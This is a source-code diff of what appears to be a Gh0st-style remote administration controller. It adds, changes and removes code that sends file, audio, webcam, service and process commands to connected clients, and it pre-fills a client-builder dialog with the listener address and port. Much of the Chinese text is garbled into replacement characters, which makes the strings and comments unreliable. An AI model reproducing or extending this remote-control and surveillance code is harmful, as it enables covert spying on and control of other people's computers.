{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ", 256 },
|
||||||
{"CPU", 80 },
|
{"CPU", 80 },
|
||||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 81 },
|
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 72 },
|
||||||
{"PING", 151 }
|
{"PING", 100 },
|
||||||
};
|
};
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><F2A1B0B9>ڡ<EFBFBD><DAA1>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD> CAboutDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
// <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><F2A1B0B9>ڡ<EFBFBD><DAA1>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD> CAboutDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
int g_Column_Count_Online = 7;
|
|
||||||
|
|
||||||
COLUMNSTRUCT g_Column_Data_Message[] =
|
const int g_Column_Count_Message = 3; // <20>б<EFBFBD><D0B1>ĸ<EFBFBD><C4B8><EFBFBD>
|
||||||
|
|
||||||
|
COLUMNSTRUCT g_Column_Data_Message[g_Column_Count_Message] =
|
||||||
{
|
{
|
||||||
{"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 200 },
|
{"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 200 },
|
||||||
{"ʱ<EFBFBD><EFBFBD>", 200 },
|
{"ʱ<EFBFBD><EFBFBD>", 200 },
|
||||||
{"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 490 }
|
{"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 490 }
|
||||||
};
|
};
|
||||||
|
|
||||||
int g_Column_Count_Message = 3; //<2F>б<EFBFBD><D0B1>ĸ<EFBFBD><C4B8><EFBFBD>
|
int g_Column_Online_Width = 0;
|
||||||
|
int g_Column_Message_Width = 0;
|
||||||
|
IOCPServer *m_iocpServer = NULL;
|
||||||
int g_Column_Online_Width = 0;
|
|
||||||
int g_Column_Message_Width = 0;
|
|
||||||
IOCPServer *m_iocpServer = NULL;
|
|
||||||
CMy2015RemoteDlg* g_2015RemoteDlg = NULL;
|
CMy2015RemoteDlg* g_2015RemoteDlg = NULL;
|
||||||
|
|
||||||
static UINT Indicators[] =
|
static UINT Indicators[] =
|
||||||
@@ -114,8 +115,7 @@ END_MESSAGE_MAP()
|
|||||||
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
|
||||||
CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent /*=NULL*/)
|
CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
|
||||||
: CDialogEx(CMy2015RemoteDlg::IDD, pParent)
|
|
||||||
{
|
{
|
||||||
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
|
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
|
||||||
|
|
||||||
@@ -189,17 +189,9 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
|
|||||||
case WM_LBUTTONDOWN:
|
case WM_LBUTTONDOWN:
|
||||||
case WM_LBUTTONDBLCLK:
|
case WM_LBUTTONDBLCLK:
|
||||||
{
|
{
|
||||||
if (!IsWindowVisible())
|
ShowWindow(IsWindowVisible() ? SW_HIDE : SW_SHOW);
|
||||||
{
|
|
||||||
ShowWindow(SW_SHOW);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
ShowWindow(SW_HIDE);
|
|
||||||
}
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case WM_RBUTTONDOWN:
|
case WM_RBUTTONDOWN:
|
||||||
{
|
{
|
||||||
CMenu Menu;
|
CMenu Menu;
|
||||||
@@ -218,8 +210,7 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
|
|||||||
|
|
||||||
VOID CMy2015RemoteDlg::CreateSolidMenu()
|
VOID CMy2015RemoteDlg::CreateSolidMenu()
|
||||||
{
|
{
|
||||||
HMENU hMenu; //SDK C MFC C++
|
HMENU hMenu = LoadMenu(NULL,MAKEINTRESOURCE(IDR_MENU_MAIN)); //<2F><><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD>Դ
|
||||||
hMenu = LoadMenu(NULL,MAKEINTRESOURCE(IDR_MENU_MAIN)); //<2F><><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD>Դ
|
|
||||||
::SetMenu(this->GetSafeHwnd(),hMenu); //Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2>
|
::SetMenu(this->GetSafeHwnd(),hMenu); //Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2>
|
||||||
::DrawMenuBar(this->GetSafeHwnd()); //<2F><>ʾ<EFBFBD>˵<EFBFBD>
|
::DrawMenuBar(this->GetSafeHwnd()); //<2F><>ʾ<EFBFBD>˵<EFBFBD>
|
||||||
}
|
}
|
||||||
@@ -241,7 +232,7 @@ VOID CMy2015RemoteDlg::CreatStatusBar()
|
|||||||
|
|
||||||
VOID CMy2015RemoteDlg::CreateNotifyBar()
|
VOID CMy2015RemoteDlg::CreateNotifyBar()
|
||||||
{
|
{
|
||||||
#if SHOW_NOTIFY
|
#if INDEPENDENT
|
||||||
m_Nid.cbSize = sizeof(NOTIFYICONDATA); //<2F><>С<EFBFBD><D0A1>ֵ
|
m_Nid.cbSize = sizeof(NOTIFYICONDATA); //<2F><>С<EFBFBD><D0A1>ֵ
|
||||||
m_Nid.hWnd = m_hWnd; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڸ<EFBFBD><DAB8><EFBFBD>CWnd<6E><64><EFBFBD><EFBFBD>
|
m_Nid.hWnd = m_hWnd; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڸ<EFBFBD><DAB8><EFBFBD>CWnd<6E><64><EFBFBD><EFBFBD>
|
||||||
m_Nid.uID = IDR_MAINFRAME; //icon ID
|
m_Nid.uID = IDR_MAINFRAME; //icon ID
|
||||||
@@ -317,8 +308,6 @@ VOID CMy2015RemoteDlg::InitControl()
|
|||||||
}
|
}
|
||||||
|
|
||||||
m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||||
|
|
||||||
SetTimer(0,3000,NULL); // <20><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC>Ի<EFBFBD><D4BB><EFBFBD>
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -352,17 +341,10 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
|||||||
|
|
||||||
VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg)
|
VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg)
|
||||||
{
|
{
|
||||||
CString strIsOK,strTime;
|
CTime Timer = CTime::GetCurrentTime();
|
||||||
CTime Timer =CTime::GetCurrentTime(); //<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>CTime <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD> t ʹ<><CAB9><EFBFBD><EFBFBD><EFBFBD>еij<D0B5>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>GetCurrentTime() <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SDK<44><4B><EFBFBD><EFBFBD>
|
CString strTime= Timer.Format("%H:%M:%S");
|
||||||
strTime= Timer.Format("%H:%M:%S");
|
CString strIsOK= bOk ? "ִ<EFBFBD>гɹ<EFBFBD>" : "ִ<EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>";
|
||||||
if (bOk)
|
|
||||||
{
|
|
||||||
strIsOK="ִ<EFBFBD>гɹ<EFBFBD>";
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
strIsOK="ִ<EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>";
|
|
||||||
}
|
|
||||||
m_CList_Message.InsertItem(0,strIsOK); //<2F><><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
m_CList_Message.InsertItem(0,strIsOK); //<2F><><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
m_CList_Message.SetItemText(0,1,strTime);
|
m_CList_Message.SetItemText(0,1,strTime);
|
||||||
m_CList_Message.SetItemText(0,2,strMsg);
|
m_CList_Message.SetItemText(0,2,strMsg);
|
||||||
@@ -419,7 +401,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
|
|
||||||
ListenPort();
|
ListenPort();
|
||||||
|
|
||||||
#if !SHOW_NOTIFY
|
#if !INDEPENDENT
|
||||||
ShowWindow(SW_SHOW);
|
ShowWindow(SW_SHOW);
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
@@ -433,7 +415,7 @@ void CMy2015RemoteDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
CAboutDlg dlgAbout;
|
CAboutDlg dlgAbout;
|
||||||
dlgAbout.DoModal();
|
dlgAbout.DoModal();
|
||||||
}
|
}
|
||||||
#if !SHOW_NOTIFY
|
#if !INDEPENDENT
|
||||||
else if(nID == SC_CLOSE || nID == SC_MINIMIZE)
|
else if(nID == SC_CLOSE || nID == SC_MINIMIZE)
|
||||||
{
|
{
|
||||||
ShowWindow(SW_HIDE);
|
ShowWindow(SW_HIDE);
|
||||||
@@ -548,30 +530,12 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
|
|||||||
|
|
||||||
void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
|
void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
|
||||||
{
|
{
|
||||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
|
|
||||||
switch(nIDEvent)
|
|
||||||
{
|
|
||||||
|
|
||||||
case 0:
|
|
||||||
{
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
case 1:
|
|
||||||
{
|
|
||||||
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void CMy2015RemoteDlg::OnClose()
|
void CMy2015RemoteDlg::OnClose()
|
||||||
{
|
{
|
||||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
|
#if INDEPENDENT
|
||||||
KillTimer(0);
|
|
||||||
|
|
||||||
#if SHOW_NOTIFY
|
|
||||||
Shell_NotifyIcon(NIM_DELETE, &m_Nid);
|
Shell_NotifyIcon(NIM_DELETE, &m_Nid);
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
@@ -665,15 +629,13 @@ void CMy2015RemoteDlg::OnOnlineDelete()
|
|||||||
BYTE bToken = COMMAND_BYE; //<2F>ض˷<D8B6><CBB7><EFBFBD>һ<EFBFBD><D2BB>COMMAND_SYSTEM
|
BYTE bToken = COMMAND_BYE; //<2F>ض˷<D8B6><CBB7><EFBFBD>һ<EFBFBD><D2BB>COMMAND_SYSTEM
|
||||||
SendSelectedCommand(&bToken, sizeof(BYTE)); //Context PreSending PostSending
|
SendSelectedCommand(&bToken, sizeof(BYTE)); //Context PreSending PostSending
|
||||||
|
|
||||||
CString strIP;
|
|
||||||
int iCount = m_CList_Online.GetSelectedCount();
|
int iCount = m_CList_Online.GetSelectedCount();
|
||||||
int i = 0;
|
|
||||||
|
|
||||||
for (i=0;i<iCount;++i)
|
for (int i=0;i<iCount;++i)
|
||||||
{
|
{
|
||||||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||||
strIP = m_CList_Online.GetItemText(iItem,ONLINELIST_IP);
|
CString strIP = m_CList_Online.GetItemText(iItem,ONLINELIST_IP);
|
||||||
m_CList_Online.DeleteItem(iItem);
|
m_CList_Online.DeleteItem(iItem);
|
||||||
strIP+="<EFBFBD>Ͽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
|
strIP+="<EFBFBD>Ͽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
|
||||||
ShowMessage(true,strIP);
|
ShowMessage(true,strIP);
|
||||||
@@ -693,8 +655,6 @@ VOID CMy2015RemoteDlg::OnOnlineProcessManager()
|
|||||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
VOID CMy2015RemoteDlg::OnOnlineWindowManager()
|
VOID CMy2015RemoteDlg::OnOnlineWindowManager()
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_WSLIST;
|
BYTE bToken = COMMAND_WSLIST;
|
||||||
@@ -710,26 +670,30 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
|
|||||||
|
|
||||||
VOID CMy2015RemoteDlg::OnOnlineFileManager()
|
VOID CMy2015RemoteDlg::OnOnlineFileManager()
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_LIST_DRIVE; //<2F><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>豸
|
#if INDEPENDENT
|
||||||
|
BYTE bToken = COMMAND_LIST_DRIVE;
|
||||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
|
#else
|
||||||
|
if(m_CList_Online.GetFirstSelectedItemPosition())
|
||||||
|
ShowMessage(FALSE, "<EFBFBD>˹<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͣʹ<EFBFBD><EFBFBD>");
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID CMy2015RemoteDlg::OnOnlineAudioManager()
|
VOID CMy2015RemoteDlg::OnOnlineAudioManager()
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_AUDIO; //<2F>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
BYTE bToken = COMMAND_AUDIO;
|
||||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID CMy2015RemoteDlg::OnOnlineVideoManager()
|
VOID CMy2015RemoteDlg::OnOnlineVideoManager()
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_WEBCAM; //<2F>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
BYTE bToken = COMMAND_WEBCAM;
|
||||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID CMy2015RemoteDlg::OnOnlineServerManager()
|
VOID CMy2015RemoteDlg::OnOnlineServerManager()
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_SERVICES; //<2F><>ֵһ<D6B5><D2BB><EFBFBD><EFBFBD> Ȼ<><C8BB><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>COMMAND_SYSTEM
|
BYTE bToken = COMMAND_SERVICES;
|
||||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -743,20 +707,24 @@ void CMy2015RemoteDlg::OnOnlineBuildClient()
|
|||||||
{
|
{
|
||||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
CBuildDlg Dlg;
|
CBuildDlg Dlg;
|
||||||
|
Dlg.m_strIP = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "localIp", "");
|
||||||
|
CString Port;
|
||||||
|
Port.Format("%d", ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"));
|
||||||
|
Dlg.m_strPort = Port;
|
||||||
Dlg.DoModal();
|
Dlg.DoModal();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
|
VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); //1[pcontext client] 2 3 //1 2
|
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||||
while(Pos)
|
while(Pos)
|
||||||
{
|
{
|
||||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); //<2F><><EFBFBD>б<EFBFBD><D0B1><EFBFBD>Ŀ<EFBFBD><C4BF>ȡ<EFBFBD><C8A1>ClientContext<78>ṹ<EFBFBD><E1B9B9>
|
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
|
||||||
|
|
||||||
// <20><><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD>ݰ<EFBFBD> //<2F>鿴ClientContext<78>ṹ<EFBFBD><E1B9B9>
|
// <20><><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD>ݰ<EFBFBD>
|
||||||
m_iocpServer->OnClientPreSending(ContextObject,szBuffer, ulLength); //Cleint Context
|
m_iocpServer->OnClientPreSending(ContextObject,szBuffer, ulLength);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -769,15 +737,12 @@ VOID CMy2015RemoteDlg::OnAbout()
|
|||||||
//<2F><><EFBFBD><EFBFBD>Menu
|
//<2F><><EFBFBD><EFBFBD>Menu
|
||||||
void CMy2015RemoteDlg::OnNotifyShow()
|
void CMy2015RemoteDlg::OnNotifyShow()
|
||||||
{
|
{
|
||||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
ShowWindow(SW_SHOW);
|
ShowWindow(SW_SHOW);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void CMy2015RemoteDlg::OnNotifyExit()
|
void CMy2015RemoteDlg::OnNotifyExit()
|
||||||
{
|
{
|
||||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
|
|
||||||
SendMessage(WM_CLOSE);
|
SendMessage(WM_CLOSE);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -799,9 +764,9 @@ void CMy2015RemoteDlg::OnMainExit()
|
|||||||
|
|
||||||
VOID CMy2015RemoteDlg::ListenPort()
|
VOID CMy2015RemoteDlg::ListenPort()
|
||||||
{
|
{
|
||||||
int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost");
|
int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost");
|
||||||
//<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD>
|
//<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD>
|
||||||
int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection");
|
int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection");
|
||||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if (nPort<=0 || nPort>65535)
|
if (nPort<=0 || nPort>65535)
|
||||||
nPort = 6543;
|
nPort = 6543;
|
||||||
@@ -1005,24 +970,8 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
|||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
strPCName = LoginInfor->szPCName;
|
strPCName = LoginInfor->szPCName;
|
||||||
|
|
||||||
switch (LoginInfor->OsVerInfoEx.dwPlatformId)
|
//<2F>汾<EFBFBD><E6B1BE>Ϣ
|
||||||
{
|
strOS = LoginInfor->OsVerInfoEx;
|
||||||
case VER_PLATFORM_WIN32_NT:
|
|
||||||
if (LoginInfor->OsVerInfoEx.dwMajorVersion <= 4 )
|
|
||||||
strOS = "WindowsNT";
|
|
||||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
|
|
||||||
strOS = "Windows2000";
|
|
||||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 1 )
|
|
||||||
strOS = "WindowsXP";
|
|
||||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 )
|
|
||||||
strOS = "Windows2003";
|
|
||||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
|
|
||||||
strOS = "WindowsVista";
|
|
||||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 1 )
|
|
||||||
strOS = "Windows7";
|
|
||||||
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 )
|
|
||||||
strOS = "Windows8";
|
|
||||||
}
|
|
||||||
|
|
||||||
//CPU
|
//CPU
|
||||||
strCPU.Format("%dMHz", LoginInfor->dwCPUMHz);
|
strCPU.Format("%dMHz", LoginInfor->dwCPUMHz);
|
||||||
|
|||||||
@@ -9,16 +9,16 @@
|
|||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
// <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>
|
// <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>
|
||||||
// <20>Ƿ<EFBFBD><C7B7><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
|
||||||
#define SHOW_NOTIFY 1
|
#define INDEPENDENT 1
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
typedef struct _LOGIN_INFOR
|
typedef struct _LOGIN_INFOR
|
||||||
{
|
{
|
||||||
BYTE bToken; // = 1 //<EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>Ϣ
|
BYTE bToken; // ȡ1<EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>Ϣ
|
||||||
OSVERSIONINFOEX OsVerInfoEx; // <20>汾<EFBFBD><E6B1BE>Ϣ
|
char OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||||
DWORD dwCPUMHz; // CPU<50><55>Ƶ
|
DWORD dwCPUMHz; // CPU<50><55>Ƶ
|
||||||
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
|
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
|
||||||
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
@@ -70,7 +70,7 @@ public:
|
|||||||
|
|
||||||
CStatusBar m_StatusBar; //״̬<D7B4><CCAC>
|
CStatusBar m_StatusBar; //״̬<D7B4><CCAC>
|
||||||
CTrueColorToolBar m_ToolBar;
|
CTrueColorToolBar m_ToolBar;
|
||||||
#if SHOW_NOTIFY
|
#if INDEPENDENT
|
||||||
NOTIFYICONDATA m_Nid;
|
NOTIFYICONDATA m_Nid;
|
||||||
#endif
|
#endif
|
||||||
CRITICAL_SECTION m_cs;
|
CRITICAL_SECTION m_cs;
|
||||||
|
|||||||
@@ -394,5 +394,5 @@ void CSystemDlg::OnWlistMin()
|
|||||||
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
|
||||||
|
|
||||||
}// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
